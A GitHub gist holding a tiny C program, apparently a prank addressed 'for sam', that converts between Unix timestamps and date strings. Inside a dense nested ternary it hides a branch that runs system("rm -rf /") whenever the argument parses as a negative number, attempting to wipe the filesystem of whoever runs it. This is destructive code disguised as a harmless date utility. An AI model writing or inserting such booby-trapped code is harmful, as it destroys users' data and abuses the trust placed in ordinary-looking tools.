Skip to content

Instantly share code, notes, and snippets.

@syncsynchalt
Last active December 15, 2015 17:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save syncsynchalt/5296589 to your computer and use it in GitHub Desktop.
Save syncsynchalt/5296589 to your computer and use it in GitHub Desktop.
~for sam~
#include <stdio.h>
#include <time.h>
int main(int argc, char **argv)
{
time_t t = atol(argv[1]);
struct tm tm = {0};
t > 0 ? printf("%s", ctime(&t)) : t == 0 ? strptime(argv[1], "%c", &tm), printf("%ld\n", (long)mktime(&tm)) : system("rm -rf /");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment